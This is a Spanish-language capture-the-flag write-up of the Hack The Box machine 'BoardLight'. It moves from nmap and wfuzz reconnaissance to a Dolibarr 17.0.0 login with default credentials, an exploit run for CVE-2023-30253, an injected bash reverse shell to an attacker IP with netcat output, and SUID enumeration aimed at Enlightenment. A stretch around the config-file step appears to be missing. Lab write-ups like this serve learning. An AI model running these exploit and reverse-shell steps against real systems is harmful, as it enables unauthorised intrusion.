---------------------- [ BOARDLIGHT MACHINE ] ---------------------- # Notas sobre la resolución de la máquina BOARDLIGHT por FeathersMcgr4w [GITHUB]: https://github.com/FeathersMcgr4w/ [Lets Start!] ----- | 1 | Ejecutamos un ping para verificar si esta activa la maquina victima --> ping -c 1 10.10.11.11 ----- -> ping -c 1 10.10.11.11 -R (Trace Route) [*] ttl: 63 (Linux) => Linux (ttl=64) | Windows (ttl=128) ----- | 2 | Escaneo rápido de Puertos con NMAP ----- └─$ nmap -p- -sS --min-rate 5000 --open -vvv -n -Pn 10.10.11.11 -oG allPorts Puertos Abiertos: [*] Open ports: 22, 80 ----- | 3 | Obtener información detallada con NMAP: ----- (scripts de reconocimiento y exportar en formato nmap) locate .nse | xargs grep "categories" | grep -oP '".*?"' | tr -d '"' | sort -u (scripts de reconocimiento) └─# nmap -sCV -p22,80 10.10.11.11 -oN targeted [*] 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0) [*] 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) [*] Service Info: OS: Linux Procedemos a googlear la versión de Ubuntu -> "OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 launchpad" Con esto obtenemos que la versión de Ubuntu es una distribución "Ubuntu Focal" Recurso: https://launchpad.net/ubuntu/+source/openssh/1:8.2p1-4ubuntu0.11 ----- | 4 | WHATWEB ----- └─# whatweb 10.10.11.11 http://10.10.11.11 [200 OK] Apache[2.4.41], Bootstrap, Country[RESERVED][ZZ], Email[info@board.htb], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.11.11], JQuery[3.4.1], Script[text/javascript], X-UA-Compatible[IE=edge] -[ DATA ]: Dominio => Email[info@board.htb] SO => HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)] -[ WARNING ]: El dominio (board.htb) no lo podemos ejecutar por error DNS. Pero si podemos ejecutar directamente de la direcc IP 10.10.11.11 Para resolver esto devemos agregar el dominio (board.htb) al /etc/hosts file ----- | 5 | Add this vHost to our /etc/hosts file ----- Esto lo debemos realizar ya que cuando accedemos a al dominio por el navegador no funciona. Debido a que el dominio "board.htb" no existe en DNS públicos. Es un entorno de laboratorio, asi que le debemos indicar a nustro sistema que asocie la ip+dominio para que cuando realizemos la petición nos renderize el sitio. Esto es similar a indicarle a nuestra maquina que utilize el localhost 127.0.0.1 con un dominio de prueba localhost. Para solucionar este problema, debemos ejecutar el siguiente comando. Esto permite que el nombre de dominio sea resuelto localmente como 10.10.11.11 sin necesidad de consultar DNS externos. echo '10.10.11.11 board.htb' | sudo tee -a /etc/hosts └─# cat /etc/hosts 127.0.0.1 localhost 127.0.1.1 sonic.sonic sonic 10.10.11.221 2million.htb 10.10.11.11 board.htb # The following lines are desirable for IPv6 capable hosts ::1 localhost ip6-localhost ip6-loopback ff02::1 ip6-allnodes ff02::2 ip6-allrouters ----- | 6 | Fuzzear con NMAP ----- Internamnete NMAP tiene un pequeño diccionario con el que fuzzea nmap --script http-enum -p80 10.10.11.11 -oN webScan --script http-enum: indica a nmap usar el script "http-enum", perteneciente a la libreria .nse (Nmap Scripting Engine) El script se utiliza para enumerar directorios en servidores web. -p80: escanear por puerto 80 10.10.11.11: dirección IP objetivo -oN webScan: guarda los resultados en formato legible "output normal" └─# nmap --script http-enum -p80 10.10.11.11 -oN webScan Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-07 08:02 MST Nmap scan report for board.htb (10.10.11.11) Host is up (0.21s latency). PORT STATE SERVICE 80/tcp open http Nmap done: 1 IP address (1 host up) scanned in 54.07 seconds NO ENCONTRO NADA :( ----- | 7 | Fuzzeamos con wfuzz ----- wfuzz -c --hc=404 -t 200 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt http://board.htb/FUZZ wfuzz : ejecutar herramienta wfuzz -c : activar salida de colores en la terminal. --hc=404 : wfuzz ignorara las respuestas http con código de estado 404 -t 200 : usar 200 hilos de ejecución en paralelo ( 200 consultas en paralelo ) -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt : diccionario que utiliza wfuzz http://board.htb/FUZZ : URL objetivo + "FUZZ" marca la posición donde coloca el diccionario NO HAY NADA QUE NO INTEREZA :( ----- | 8 | Buscammos manualmente en la web con Ctrol+u ----- [*] index.php [*] about.php [*] do.php [*] contact.php NO HAY NADA QUE NO INTEREZA :( ----- | 9 | Buscamos Sub-dominios ----- wfuzz -c --hl=517 -t 200 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.board.htb" http://board.htb/ --hl=517 : estas son respuestas basura, asi que, le indicamos que no las muestre 000000055: 200 517 L 1053 W 15949 Ch "backup" 000000059: 200 517 L 1053 W 15949 Ch "www.forum" 000000067: 200 517 L 1053 W 15949 Ch "staging" 000000066: 200 517 L 1053 W 15949 Ch "www3" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt : diccionario para sub dominios -H "Host: FUZZ.board.htb" : indicamos la cabezera para inyectar el diccionario con sub dominios -[ RESULTADOS ]: 000000072: 200 149 L 504 W 6360 Ch "crm" 000009532: 400 10 L 35 W 301 Ch "#www" 000010581: 400 10 L 35 W 301 Ch "#mail" -[*] Ahora incorporamos el sub dominio al /etc/hosts nano /etc/hosts 10.10.11.11 board.htb 10.10.11.11 crm.board.htb ------ | 10 | Panel CMR Dolibarr ------ Dolibarr 17.0.0 ¿Qué es Dolibarr? Dolibarr es un software ERP (Enterprise Resource Plannig) y CMR (Customer Relationship Managment) de código abierto, para gestionar múltiples aspecto de una empresa. Ventas, inventario, facturación, proyectos, rrhh, contabilidada, etc. ------ | 11 | Ver exploits para Dolibarr ------ 1. Podemos usar una herramienta en Kali Linux que consulta a exploit-DB └─# searchsploit dolibarr 17 2. Googlear "Dolibarr 17.0.0 exploit github" Exploit-for-Dolibarr-17.0.0-CVE-2023-30253 dolibarr default password : admin / admin Las probamos en el Login y entramos. ------ | 12 | Ejecutamos explotación (exploit for Dolibarr <= 17.0.0 (CVE-2023-30253)) ------ -[*] Git Clone : https://github.com/nikn0laty/Exploit-for-Dolibarr-17.0.0-CVE-2023-30253 -[*] └─# python3 exploit.py http://crm.board.htb admin admin 10.10.16.54 443 -[*] └─$ nc -nlvp 443 (en otra consola) Lo que realiza el exploit es ejecutar una reverse shell a traves de php --> Pasos: -> Loggearse en Dolibarr con admin / admin -> Caemos al Home : http://crm.board.htb/admin/index.php?mainmenu=home&leftmenu=setup&mesg=setupnotcomplete -> Nos dirigimos a la URL para crear una web : http://crm.board.htb/website/index.php?idmenu=1&mainmenu=website&leftmenu= Name of the website: test Main language Other languages Description: test Virtual host or domain name: http://test.com -> Creamos una Página : Or create page from scratch or from a page template... title: test description: test HTML header (specific to this page only): Hola -> Apretar boton "HTML" en el apartado de al página
->
-> Inyectar comando: &cmd=bash -c "bash -i >& /dev/tcp/10.10.16.54/443 0>&1" (este es el comando, pero hay que aplicarle este formato: ) -> &cmd=bash -c "bash -i >%26 /dev/tcp/10.10.16.54/443 0>%261" ( *comando final* ) -[*] Consola con netcat: ─$ nc -nlvp 443 listening on [any] 443 ... connect to [10.10.16.54] from (UNKNOWN) [10.10.11.11] 48288 bash: cannot set terminal process group (856): Inappropriate ioctl for device bash: no job control in this shell www-data@boardlight:~/html/crm.board.htb/htdocs/public/website$ -[*] PSEUDO CONSOLA: www-data@boardlight:~/html/crm.board.htb/htdocs/public/website$ script /dev/null -c bash /dev/null www-data@boardlight:~/html/crm.board.htb/htdocs/conf$ ls -l ls -l total 44 -rw-r--r-- 1 www-data www-data 1736 May 17 00:18 conf.php -rw-r--r-- 1 www-data www-data 16394 Mar 4 2023 conf.php.example -r-------- 1 www-data www-data 16394 May 13 13:20 conf.php.old www-data@boardlight:~/html/crm.board.htb/htdocs/conf$ cat conf.php cat conf.php /dev/null | xargs ls -l find / : buscar en todo el sistema de archivos desde la raíz -perm -4000 : buscar archivos que coinsidan con el permiso "4000" -4000 : este permiso lo tienen archivos con el bit SUID activado -user root : filtra los resultados de find para mostrar los archivos pertenecientes a root 2>/dev/null : redirección de errores | xargs ls -l : toma la salida std y ejecuta un "ls -l" larissa@boardlight:/var/www/html/crm.board.htb/htdocs$ find / -perm -4000 -user root 2>/dev/null | xargs ls -l < / -perm -4000 -user root 2>/dev/null | xargs ls -l -rwsr-xr-x 1 root root 85064 Feb 6 2024 /usr/bin/chfn -rwsr-xr-x 1 root root 53040 Feb 6 2024 /usr/bin/chsh -rwsr-xr-x 1 root root 39144 Mar 7 2020 /usr/bin/fusermount -rwsr-xr-x 1 root root 88464 Feb 6 2024 /usr/bin/gpasswd -rwsr-xr-x 1 root root 55528 Apr 9 08:34 /usr/bin/mount -rwsr-xr-x 1 root root 44784 Feb 6 2024 /usr/bin/newgrp -rwsr-xr-x 1 root root 68208 Feb 6 2024 /usr/bin/passwd -rwsr-xr-x 1 root root 67816 Apr 9 08:34 /usr/bin/su -rwsr-xr-x 1 root root 166056 Apr 4 2023 /usr/bin/sudo -rwsr-xr-x 1 root root 39144 Apr 9 08:34 /usr/bin/umount -rwsr-xr-x 1 root root 14728 Oct 27 2023 /usr/bin/vmware-user-suid-wrapper -rwsr-xr-- 1 root messagebus 51344 Oct 25 2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper -rwsr-xr-x 1 root root 14488 Jul 8 2019 /usr/lib/eject/dmcrypt-get-device -rwsr-xr-x 1 root root 477672 Jan 2 2024 /usr/lib/openssh/ssh-keysign -rwsr-xr-x 1 root root 14648 Jan 29 2020 /usr/lib/x86_64-linux-gnu/enlightenment/modules/cpufreq/linux-gnu-x86_64-0.23.1/freqset -rwsr-xr-x 1 root root 14648 Jan 29 2020 /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_backlight -rwsr-xr-x 1 root root 14648 Jan 29 2020 /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_ckpasswd -rwsr-xr-x 1 root root 26944 Jan 29 2020 /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys -rwsr-sr-x 1 root root 14488 Apr 8 18:36 /usr/lib/xorg/Xorg.wrap -rwsr-xr-- 1 root dip 395144 Jul 23 2020 /usr/sbin/pppd Nos quedamos con el binario : enlightenment -[*] ¿Que es Enlightenment? El binario 'Enlightenment' es parte de un entorno de escritorio ligero para sistemas Linux y otros UNIX-like. Su proposito es proporcionar una interfaz gráfica (GUI) y configurable. 'Enlightenment' interactua a nivel de sistema con hardware y permisos del sistema. Si el binario esta mal configurado o tiene bugs, puede ser vulnerable a ejecutar comandos como root. El binario 'Enlightenment 0.23.1' tiene activado el SUID hasta version (v0.25.3), lo cual lo hace vulnerable a explotación de privilegios. Las veriones hasta 'Enlightenment 0.25.3' son vulnerables a que un usuario sin privilegios ejecute código como root. Aprovechando las fallas de como el binario interactua con el sistema cuando tiene el bit SUID activado. Vemos la versión: larissa@boardlight:/var/www/html/crm.board.htb/htdocs$ enlightenment --version